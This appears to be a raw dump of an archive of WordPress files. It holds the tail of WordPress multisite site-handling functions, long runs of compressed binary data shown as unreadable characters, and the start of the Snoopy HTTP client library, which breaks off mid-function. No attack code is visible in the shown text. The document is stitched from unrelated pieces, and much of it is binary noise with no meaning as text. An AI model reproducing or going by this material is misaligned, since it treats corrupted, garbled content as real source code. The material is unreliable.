(array) $stack as $dir ) { if ( $dir !== $top_dir ) { @rmdir( $dir ); } } // phpcs:enable WordPress.PHP.NoSilencedErrors.Discouraged if ( $switch ) { restore_current_blog(); } return true; } /** * Checks whether a site is initialized. * * A site is considered initialized when its database tables are present. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Site $site_id Site ID or object. * @return bool True if the site is initialized, false otherwise. */ function wp_is_site_initialized( $site_id ) { global $wpdb; if ( is_object( $site_id ) ) { $site_id = $site_id->blog_id; } $site_id = (int) $site_id; /** * Filters the check for whether a site is initialized before the database is accessed. * * Returning a non-null value will effectively short-circuit the function, returning * that value instead. * * @since 5.1.0 * * @param bool|null $pre The value to return instead. Default null * to continue with the check. * @param int $site_id The site ID that is being checked. */ $pre = apply_filters( 'pre_wp_is_site_initialized', null, $site_id ); if ( null !== $pre ) { return (bool) $pre; } $switch = false; if ( get_current_blog_id() !== $site_id ) { $switch = true; remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 ); switch_to_blog( $site_id ); } $suppress = $wpdb->suppress_errors(); $result = (bool) $wpdb->get_results( "DESCRIBE {$wpdb->posts}" ); $wpdb->suppress_errors( $suppress ); if ( $switch ) { restore_current_blog(); add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 ); } return $result; } /** * Clean the blog cache * * @since 3.5.0 * * @global bool $_wp_suspend_cache_invalidation * * @param WP_Site|int $blog The site object or ID to be cleared from cache. */ function clean_blog_cache( $blog ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } if ( empty( $blog ) ) { return; } $blog_id = $blog; $blog = get_site( $blog_id ); if ( ! $blog ) { if ( ! is_numeric( $blog_id ) ) { return; } // Make sure a WP_Site object exists even when the site has been deleted. $blog = new WP_Site( (object) array( 'blog_id' => $blog_id, 'domain' => null, 'path' => null, ) ); } $blog_id = $blog->blog_id; $domain_path_key = md5( $blog->domain . $blog->path ); wp_cache_delete( $blog_id, 'sites' ); wp_cache_delete( $blog_id, 'site-details' ); wp_cache_delete( $blog_id, 'blog-details' ); wp_cache_delete( $blog_id . 'short', 'blog-details' ); wp_cache_delete( $domain_path_key, 'blog-lookup' ); wp_cache_delete( $domain_path_key, 'blog-id-cache' ); wp_cache_delete( $blog_id, 'blog_meta' ); /** * Fires immediately after a site has been removed from the object cache. * * @since 4.6.0 * * @param string $id Site ID as a numeric string. * @param WP_Site $blog Site object. * @param string $domain_path_key md5 hash of domain and path. */ do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key ); wp_cache_set_sites_last_changed(); /** * Fires after the blog details cache is cleared. * * @since 3.4.0 * @deprecated 4.9.0 Use {@see 'clean_site_cache'} instead. * * @param int $blog_id Blog ID. */ do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' ); } /** * Adds metadata to a site. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. Arrays and objects are stored as serialized data and * will be returned as the same type when retrieved. Other data types will * be stored as strings in the database: * - false is stored and retrieved as an empty string ('') * - true is stored and retrieved as '1' * - numbers (both integer and float) are stored and retrieved as strings * Must be serializable if non-scalar. * @param bool $unique Optional. Whether the same key should not be added. * Default false. * @return int|false Meta ID on success, false on failure. */ function add_site_meta( $site_id, $meta_key, $meta_value, $unique = false ) { return add_metadata( 'blog', $site_id, $meta_key, $meta_value, $unique ); } /** * Removes metadata matching criteria from a site. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching key, if needed. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * @return bool True on success, false on failure. */ function delete_site_meta( $site_id, $meta_key, $meta_value = '' ) { return delete_metadata( 'blog', $site_id, $meta_key, $meta_value ); } /** * Retrieves metadata for a site. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $key Optional. The meta key to retrieve. By default, * returns data for all keys. Default empty. * @param bool $single Optional. Whether to return a single value. * This parameter has no effect if `$key` is not specified. * Default false. * @return mixed An array of values if `$single` is false. * The value of meta data field if `$single` is true. * False for an invalid `$site_id` (non-numeric, zero, or negative value). * An empty array if a valid but non-existing site ID is passed and `$single` is false. * An empty string if a valid but non-existing site ID is passed and `$single` is true. * Note: Non-serialized values are returned as strings: * - false values are returned as empty strings ('') * - true values are returned as '1' * - numbers (both integer and float) are returned as strings * Arrays and objects retain their original type. */ function get_site_meta( $site_id, $key = '', $single = false ) { return get_metadata( 'blog', $site_id, $key, $single ); } /** * Updates metadata for a site. * * Use the $prev_value parameter to differentiate between meta fields with the * same key and site ID. * * If the meta field for the site does not exist, it will be added. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * @return int|bool Meta ID if the key didn't exist, true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. */ function update_site_meta( $site_id, $meta_key, $meta_value, $prev_value = '' ) { return update_metadata( 'blog', $site_id, $meta_key, $meta_value, $prev_value ); } /** * Deletes everything from site meta matching meta key. * * @since 5.1.0 * * @param string $meta_key Metadata key to search for when deleting. * @return bool Whether the site meta key was deleted from the database. */ function delete_site_meta_by_key( $meta_key ) { return delete_metadata( 'blog', null, $meta_key, '', true ); } /** * Updates the count of sites for a network based on a changed site. * * @since 5.1.0 * * @param WP_Site $new_site The site object that has been inserted, updated or deleted. * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous * state of that site. Default null. */ function wp_maybe_update_network_site_counts_on_update( $new_site, $old_site = null ) { if ( null === $old_site ) { wp_maybe_update_network_site_counts( $new_site->network_id ); return; } if ( $new_site->network_id !== $old_site->network_id ) { wp_maybe_update_network_site_counts( $new_site->network_id ); wp_maybe_update_network_site_counts( $old_site->network_id ); } } /** * Triggers actions on site status updates. * * @since 5.1.0 * * @param WP_Site $new_site The site object after the update. * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous * state of that site. Default null. */ function wp_maybe_transition_site_statuses_on_update( $new_site, $old_site = null ) { $site_id = $new_site->id; // Use the default values for a site if no previous state is given. if ( ! $old_site ) { $old_site = new WP_Site( new stdClass() ); } if ( $new_site->spam !== $old_site->spam ) { if ( '1' === $new_site->spam ) { /** * Fires when the 'spam' status is added to a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'make_spam_blog', $site_id ); } else { /** * Fires when the 'spam' status is removed from a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'make_ham_blog', $site_id ); } } if ( $new_site->mature !== $old_site->mature ) { if ( '1' === $new_site->mature ) { /** * Fires when the 'mature' status is added to a site. * * @since 3.1.0 * * @param int $site_id Site ID. */ do_action( 'mature_blog', $site_id ); } else { /** * Fires when the 'mature' status is removed from a site. * * @since 3.1.0 * * @param int $site_id Site ID. */ do_action( 'unmature_blog', $site_id ); } } if ( $new_site->archived !== $old_site->archived ) { if ( '1' === $new_site->archived ) { /** * Fires when the 'archived' status is added to a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'archive_blog', $site_id ); } else { /** * Fires when the 'archived' status is removed from a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'unarchive_blog', $site_id ); } } if ( $new_site->deleted !== $old_site->deleted ) { if ( '1' === $new_site->deleted ) { /** * Fires when the 'deleted' status is added to a site. * * @since 3.5.0 * * @param int $site_id Site ID. */ do_action( 'make_delete_blog', $site_id ); } else { /** * Fires when the 'deleted' status is removed from a site. * * @since 3.5.0 * * @param int $site_id Site ID. */ do_action( 'make_undelete_blog', $site_id ); } } if ( $new_site->public !== $old_site->public ) { /** * Fires after the current blog's 'public' setting is updated. * * @since MU (3.0.0) * * @param int $site_id Site ID. * @param string $is_public Whether the site is public. A numeric string, * for compatibility reasons. Accepts '1' or '0'. */ do_action( 'update_blog_public', $site_id, $new_site->public ); } } /** * Cleans the necessary caches after specific site data has been updated. * * @since 5.1.0 * * @param WP_Site $new_site The site object after the update. * @param WP_Site $old_site The site object prior to the update. */ function wp_maybe_clean_new_site_cache_on_update( $new_site, $old_site ) { if ( $old_site->domain !== $new_site->domain || $old_site->path !== $new_site->path ) { clean_blog_cache( $new_site ); } } /** * Updates the `blog_public` option for a given site ID. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $is_public Whether the site is public. A numeric string, * for compatibility reasons. Accepts '1' or '0'. */ function wp_update_blog_public_option_on_site_update( $site_id, $is_public ) { // Bail if the site's database tables do not exist (yet). if ( ! wp_is_site_initialized( $site_id ) ) { return; } update_blog_option( $site_id, 'blog_public', $is_public ); } /** * Sets the last changed time for the 'sites' cache group. * * @since 5.1.0 */ function wp_cache_set_sites_last_changed() { wp_cache_set_last_changed( 'sites' ); } /** * Aborts calls to site meta if it is not supported. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param mixed $check Skip-value for whether to proceed site meta function execution. * @return mixed Original value of $check, or false if site meta is not supported. */ function wp_check_site_meta_support_prefilter( $check ) { if ( ! is_site_meta_supported() ) { /* translators: %s: Database table name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The %s table is not installed. Please run the network database upgrade.' ), $GLOBALS['wpdb']->blogmeta ), '5.1.0' ); return false; } return $check; } PK1 $[YM!class-wp-http-curl.php.php.tar.gznu[ks1__qISJ(znʱ"Q:RT]GQD,{5nb{޽( ${p޻X-/zyasᅮ02Jɺ%ak2|kbgrno|;/ڛ/`|ks{{_&R7 \ߟ~l ld;wAaޭ{ٻ8Nz1PvZ;6XXK,gî(7rF]HR&n$&q4d\lQ#!w)DG5i;g Dv@:Oop" l^aO>{'dk 0"wxIswe8.{eM!m N+Ea)i5ؚ^MF$lnb]Ј$|fT\CD6~$ rxqAt4i4&q$8-0rg"9Vc5lHf~ISi0q6s9p< anX؁kB7@SA{&W4 Eچ\S( C9yWL04hl@NIkM3`ġ*|7![e%c`}?Y߿k\1-Zqyk\fo9XL=9nydX~#(/"'ʑ"$_%:Mtt]?,}6)Pry枮@O+1(x`$q0ȄE#{,:8j\: 0g̸_ꤣ$nFI/$"*io{w{ݿ?!IH.iAgٝ^?ߍq{Z8JȜ¿e6_^tzsB)!XZ -pyTMݐ0+d] frA50k)C f$EK̏l g4Rٕ9 Me$|p$\%v'_AT\G~IŸHR@_;>xߌt:}=?N :pرuGI"5d$`ݹa1m k,z( \EnYW#pU@Fp˪r-xưM w?6/u~okRʱ̾S篝P*wbm]@< y)}ǧn`ۜzK!(ȓvek:f1`}\D-h'CBQC* )=MX F-Mp o}rm I睠 S@6 Vn*(wm ==;Og =^884p'TވP%WF)86vXg_mo_}K;'A-^t9=(W3 \ˋ~^/$(SA,yJ *A(,}MInй{4'woݺdZ~vzGgndE3J%t\w,)ĵ=Բ칕ETG Ҳz$$gD a{W>;zW8\6PbmsB(%QPv~|kT]n@"=eؾ9m,Og\ NZ:˪>j |>I@C¡8n'bm*bךlk@Ȗ;s0,YRt4lY(Rxk WR 9FX5ʴڎ[ǓafMeb 9]79w!c"Zfj Z:+X}LZU'ZV}ka[ CZ?v_lYg/hatvue@n]ǀ d[RQ;jÂjm 3j"ΕLgT8 "#P7,8Fmp>,[;8L@Ri5xG9!iU@ ~F}}T7Uwl^b[%~H{:*8JNIohMZt35Q\(٦- HR B=RB2@u9E qo[d-.40j_] .AOnxDødXI;vkl7-L?Dbβ2}!Ýչ/=^ }T:lLunB(9 '(PJ [yG{I)L'XM.XZk!UdpRӫ'%% xiTQ\2fnEqm2tu=~&z'ϟaM!\]HiM}K]S1D-#u{ mp2W8b>Xγ3"*JmyQC'*UDН#ܾuME=>>/ )$Uzk^%#P0-(zBB1.W-.gyaFnc:qᶸyW1Qdpv%%u˱acvb:g 5AI􂥚E֍;J6AowWup:|*U՛i9~QUtE~nsGȧ^:é2(2U6cc;k? nb >(}2_{=l [=pkenc<c ч.}j&88Tz'dޮ;l| ̂WMZa%5+M (BMԷT۪z07ʢ[!3DtV t0YpJ=bL7/Ԭ&u|vmCKx6FA2tr=A]~6W=cEmBLRz_k"!@[h~ U,rҪ@jsv+ XcgAHLhy~ thMnH+zybƋA 75s^VvU^U")ͽrc/@Z/洑5aAɒdG2e.-+(xC<"|s9xթBzK/_..|YQLL*ŗ_A21wW${peAӭEn1++2M">4LKsU(f@6("ט t|ڨ̈́06.OOƧi#ݖďPSŅqjfzlq3V@ 'w᜼А:{[^zb#lćYZ:݉}YՉ% VpG=a7L&)jXUU}OU{[Z>D2Ԝ!Z??_|~_ k8PK3 $[U#)bookmark.php.php.tar.gznu[kSG2_ͯPWJ ۩ lHL|.# UvV\js[GwOwO-fx&>eN6ھn%0Bno;Ç;;<|EΣGKK}B\'i)5$W,) ׉Hc`GhAN.);jc1Y ϬPt&:׳L|$ʾtmM{V<{bljFq/fM&&փKiM%|twtvFvѽpݟ[ k>0/GNЂ F+Nu3p,<'m- G<rnwçpũg;۫!O1ɞx$)ҿdnrpT"iBEMyvp: 3Je_9nÃE<4t[,}T}Az@Q[jH]Ј=aQ_ZªFv5\GU[U#m ZX{͵n.R@*뼀QM7o[GuցE Ku! v2l)7 *I[uOhY7Жvccbs9FxAL^#rACy6B cF30D[{1b0Jiw2ȵKSX~EKe;SCMZ'#.lܚXT4E^uio8(BpPqe+;~z͊%2`;s]dM& MAD奐h׺  ͂lT#I8]+sj ćRS;v P4f#8z[^P@Cj%x"HVhuF_t]VX=Xl!hFwQ9 3IRzh&, Jw?xv˦L(/\p&WYov ݒ]mϳ|2[dTak}"ZיF#. M$t2}qiAOq]g)p!9'' I< QNvl &4/iòMvx||p~99<6ZJD"U)|g,1ko[ˢے%VΰX`MpWn #( =YҋRĚ~oa#}^v~bO+44N 'qzJИ{?/{/^PD@;G=,y߈eR!Z$bFL;r)z'iΪ)b¦QN`9i٪`2{6u3woC_R{cGZT}//4ịx?M]L]ZJ:۵aG%S/ɜm %KyqiRٷT W_+<[1fPO)V$ͦM_3U}p&uPͼ*,i!}T)Y+vn݃:2v\.=, RJuuRqHA9 5UzډY}4TTӲW 5 }N8pvMAج]X3isUKEzP@m+H\׵tOrc{P+'|.Al\ vD;E۶ XʌtKD@~ﷳRڲFFY3B2ӶT@=-qa9h9r![h4.l7v;pn#xR-aLuyC۶k5;cl[kَlzr}u'Fܘ#*>Cݥ̀eQ*)mQ/OVl5Ȱ)D5fI8Ʃ޵1Y^s6^/l7vew0]ھm"ƓD \k_Mρ3RhE@,pvdȴ&A3}%;e| dyQ 2hʊ*l;JA=BX2<գ->䬱DjMbP]u Z0埸]9n[]{ce,D?$ﱇBѳpǣ h:>_"#ָ6{U,%-{Eod*P8Bqd6z0ȷu遉^udP5PrS2W=ݗ(;|F8lGM [yOW6ߤQK+\O+$"J+ J״Rw0Ӿ'6=sT-d׼|2A:t+w2 b}Ƿ6;jܪ+PPml6$jW~Oh" =yKzT샗ۡ?T8o"5[>*?N%fJ?l_O]\Qyѿ#><8ZW40s ^vիm|BM:+cޑ֙:"vb1L2ɔ $2Ґ˜*xd}a$ rz^\F;:b#Q Q3o5[͌|+o9/`Vr_$޿;V}c@pͶ7iEnИ4" REGApF; yj.R7h\loӇ?|4|&$e{o("E")тh>%|X"wD %a_kb9ݽU^?K<„A Iֿ+-y:";2\5\12H{S ЬIsX1I`BWWՑ!Õq`A/PN3)3hb4F00J7U@.ِ&,CPw{}ɀ ?YZQ"#bXDP 58 SgjeJBVU.V Xn 03%8'N03$rj84m{] ^+&[Y/ =,R v.î9Q)Cɍ S qY,bzCg~iBцEjY, s7l=vz 8؛+8h'g $$)VulL Le1 ]@, yi3)ŭSP#1>ov{a&<&?,Nz{]$lZZ6L [rN/мd>weH%zT>5U;ܨ>SuJкnOw'b:?c3魑 zC^FuO gg8'+\йdzyf*&i'-91:#~ #3풏sjqAQ-0|/p#fD.Vo2B0m6~Fp(wM@.Bc7kJC &yAYQuz*1 yOʽuhV+b8RYK4ba]̴M׳=UֹN;^[Ӷ1Kc99|"ΐZ7ۈ}z,Yinc!}60}YɼHr7s5y[כ%VJ(7G0ٜ,թntIߣFE^#3]Ey;&ݜWFɫ{j5VHAjgp#hp?坺3'8A&VdsÛ?*} UmxVCBFg 4}6V T!ei̵E[GkN U*N$Y xX S="L#<#w pbb) b4ųEC qTTP֢cu!6!e2]:p[Ҙ[Ϻp7=]☝`6#\鳋\R4Y :;UW(>&lIE_eڬ@~lz®?/^$J SM1LA;.IhL&M 7s[e,CؒtMlkGqݐ!kTש|ouWNJ[bl0aޫIfwY5)S 8V)LPC7#K!b I0S`g(B`J1f{^ωX&YHE~k(hdWhsOz͍[mBkO(7c9K4S="U;v#[`+ɭ(  !rRPR8e6`mO1(h3$t|?S`U>Ygl4S!}.۫}(_]XǶAHb2kr\/_ǽ<PK8 $[Qclass-snoopy.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-snoopy.php000064400000111523150547663030020313 0ustar00 Copyright (c): 1999-2008 New Digital Group, all rights reserved Version: 1.2.4 * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA You may contact the author of Snoopy by e-mail at: monte@ohrt.com The latest version of Snoopy can be obtained from: http://snoopy.sourceforge.net/ *************************************************/ class Snoopy { /**** Public variables ****/ /* user definable vars */ var $host = "www.php.net"; // host name we are connecting to var $port = 80; // port we are connecting to var $proxy_host = ""; // proxy host to use var $proxy_port = ""; // proxy port to use var $proxy_user = ""; // proxy user to use var $proxy_pass = ""; // proxy password to use var $agent = "Snoopy v1.2.4"; // agent we masquerade as var $referer = ""; // referer info to pass var $cookies = array(); // array of cookies to pass // $cookies["username"]="joe"; var $rawheaders = array(); // array of raw headers to send // $rawheaders["Content-Type"]="text/html"; var $maxredirs = 5; // http redirection depth maximum. 0 = disallow var $lastredirectaddr = ""; // contains address of last redirected address var $offsiteok = true; // allows redirection off-site var $maxframes = 0; // frame content depth maximum. 0 = disallow var $expandlinks = true; // expand links to fully qualified URLs. // this only applies to fetchlinks() // submitlinks(), and submittext() var $passcookies = true; // pass set cookies back through redirects // NOTE: this currently does not respect // dates, domains or paths. var $user = ""; // user for http authentication var $pass = ""; // password for http authentication // http accept types var $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; var $results = ""; // where the content is put var $error = ""; // error messages sent here var $response_code = ""; // response code returned from server var $headers = array(); // headers returned from server sent here var $maxlength = 500000; // max return data length (body) var $read_timeout = 0; // timeout on read operations, in seconds // supported only since PHP 4 Beta 4 // set to 0 to disallow timeouts var $timed_out = false; // if a read operation timed out var $status = 0; // http request status var $temp_dir = "/tmp"; // temporary directory that the webserver // has permission to write to. // under Windows, this should be C:\temp var $curl_path = "/usr/local/bin/curl"; // Snoopy will use cURL for fetching // SSL content if a full system path to // the cURL binary is supplied here. // set to false if you do not have // cURL installed. See http://curl.haxx.se // for details on installing cURL. // Snoopy does *not* use the cURL // library functions built into php, // as these functions are not stable // as of this Snoopy release. /**** Private variables ****/ var $_maxlinelen = 4096; // max line length (headers) var $_httpmethod = "GET"; // default http request method var $_httpversion = "HTTP/1.0"; // default http request version var $_submit_method = "POST"; // default submit method var $_submit_type = "application/x-www-form-urlencoded"; // default submit type var $_mime_boundary = ""; // MIME boundary for multipart/form-data submit type var $_redirectaddr = false; // will be set if page fetched is a redirect var $_redirectdepth = 0; // increments on an http redirect var $_frameurls = array(); // frame src urls var $_framedepth = 0; // increments on frame depth var $_isproxy = false; // set if using a proxy server var $_fp_timeout = 30; // timeout for socket connection /*======================================================================*\ Function: fetch Purpose: fetch the contents of a web page (and possibly other protocols in the future like ftp, nntp, gopher, etc.) Input: $URI the location of the page to fetch Output: $this->results the output text from the fetch \*======================================================================*/ function fetch($URI) { //preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS); $URI_PARTS = parse_url($URI); if (!empty($URI_PARTS["user"])) $this->user = $URI_PARTS["user"]; if (!empty($URI_PARTS["pass"])) $this->pass = $URI_PARTS["pass"]; if (empty($URI_PARTS["query"])) $URI_PARTS["query"] = ''; if (empty($URI_PARTS["path"])) $URI_PARTS["path"] = ''; switch(strtolower($URI_PARTS["scheme"])) { case "http": $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_connect($fp)) { if($this->_isproxy) { // using proxy, send entire URI $this->_httprequest($URI,$fp,$URI,$this->_httpmethod); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httprequest($path, $fp, $URI, $this->_httpmethod); } $this->_disconnect($fp); if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; $this->fetch($this->_redirectaddr); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } } else { return false; } return true; break; case "https": if(!$this->curl_path) return false; if(function_exists("is_executable")) if (!is_executable($this->curl_path)) return false; $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_isproxy) { // using proxy, send entire URI $this->_httpsrequest($URI,$URI,$this->_httpmethod); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httpsrequest($path, $URI, $this->_httpmethod); } if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; $this->fetch($this->_redirectaddr); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } return true; break; default: // not a valid protocol $this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n'; return false; break; } return true; } /*======================================================================*\ Function: submit Purpose: submit an http form Input: $URI the location to post the data $formvars the formvars to use. format: $formvars["var"] = "val"; $formfiles an array of files to submit format: $formfiles["var"] = "/dir/filename.ext"; Output: $this->results the text output from the post \*======================================================================*/ function submit($URI, $formvars="", $formfiles="") { unset($postdata); $postdata = $this->_prepare_post_body($formvars, $formfiles); $URI_PARTS = parse_url($URI); if (!empty($URI_PARTS["user"])) $this->user = $URI_PARTS["user"]; if (!empty($URI_PARTS["pass"])) $this->pass = $URI_PARTS["pass"]; if (empty($URI_PARTS["query"])) $URI_PARTS["query"] = ''; if (empty($URI_PARTS["path"])) $URI_PARTS["path"] = ''; switch(strtolower($URI_PARTS["scheme"])) { case "http": $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_connect($fp)) { if($this->_isproxy) { // using proxy, send entire URI $this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata); } $this->_disconnect($fp); if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr)) $this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]); // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; if( strpos( $this->_redirectaddr, "?" ) > 0 ) $this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get else $this->submit($this->_redirectaddr,$formvars, $formfiles); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } } else { return false; } return true; break; case "https": if(!$this->curl_path) return false; if(function_exists("is_executable")) if (!is_executable($this->curl_path)) return false; $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_isproxy) { // using proxy, send entire URI $this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata); } if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr)) $this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]); // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; if( strpos( $this->_redirectaddr, "?" ) > 0 ) $this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get else $this->submit($this->_redirectaddr,$formvars, $formfiles); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } return true; break; default: // not a valid protocol $this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n'; return false; break; } return true; } /*======================================================================*\ Function: fetchlinks Purpose: fetch the links from a web page Input: $URI where you are fetching from Output: $this->results an array of the URLs \*======================================================================*/ function fetchlinks($URI) { if ($this->fetch($URI)) { if($this->lastredirectaddr) $URI = $this->lastredirectaddr; if(is_array($this->results)) { for($x=0;$xresults);$x++) $this->results[$x] = $this->_striplinks($this->results[$x]); } else $this->results = $this->_striplinks($this->results); if($this->expandlinks) $this->results = $this->_expandlinks($this->results, $URI); return true; } else return false; } /*======================================================================*\ Function: fetchform Purpose: fetch the form elements from a web page Input: $URI where you are fetching from Output: $this->results the resulting html form \*======================================================================*/ function fetchform($URI) { if ($this->fetch($URI)) { if(is_array($this->results)) { for($x=0;$xresults);$x++) $this->results[$x] = $this->_stripform($this->results[$x]); } else $this->results = $this->_stripform($this->results); return true; } else return false; } /*======================================================================*\ Function: fetchtext Purpose: fetch the text from a web page, stripping the links Input: $URI where you are fetching from Output: $this->results the text from the web page \*======================================================================*/ function fetchtext($URI) { if($this->fetch($URI)) { if(is_array($this->results)) { for($x=0;$xresults);$x++) $this->results[$x] = $this->_striptext($this->results[$x]); } else $this->results = $this->_striptext($this->results); return true; } else return false; } /*======================================================================*\ Function: submitlinks Purpose: grab links from a form submission Input: $URI where you are submitting from Output: $this->results an array of the links from the post \*======================================================================*/ function submitlinks($URI, $formvars="", $formfiles="") { if($this->submit($URI,$formvars, $formfiles)) { if($this->lastredirectaddr) $URI = $this->lastredirectaddr; if(is_array($this->results)) { for($x=0;$xresults);$x++) { $this->results[$x] = $this->_striplinks($this->results[$x]); if($this->expandlinks) $this->results[$x] = $this->_expandlinks($this->results[$x],$URI); } } else { $this->results = $this->_striplinks($this->results); if($this->expandlinks) $this->results = $this->_expandlinks($this->results,$URI); } return true; } else return false; } /*======================================================================*\ Function: submittext Purpose: grab text from a form submission Input: $URI where you are submitting from Output: $this->results the text from the web page \*======================================================================*/ function submittext($URI, $formvars = "", $formfiles = "") { if($this->submit($URI,$formvars, $formfiles)) { if($this->lastredirectaddr) $URI = $this->lastredirectaddr; if(is_array($this->results)) { for($x=0;$xresults);$x++) { $this->results[$x] = $this->_striptext($this->results[$x]); if($this->expandlinks) $this->results[$x] = $this->_expandlinks($this->results[$x],$URI); } } else { $this->results = $this->_striptext($this->results); if($this->expandlinks) $this->results = $this->_expandlinks($this->results,$URI); } return true; } else return false; } /*======================================================================*\ Function: set_submit_multipart Purpose: Set the form submission content type to multipart/form-data \*======================================================================*/ function set_submit_multipart() { $this->_submit_type = "multipart/form-data"; } /*======================================================================*\ Function: set_submit_normal Purpose: Set the form submission content type to application/x-www-form-urlencoded \*======================================================================*/ function set_submit_normal() { $this->_submit_type = 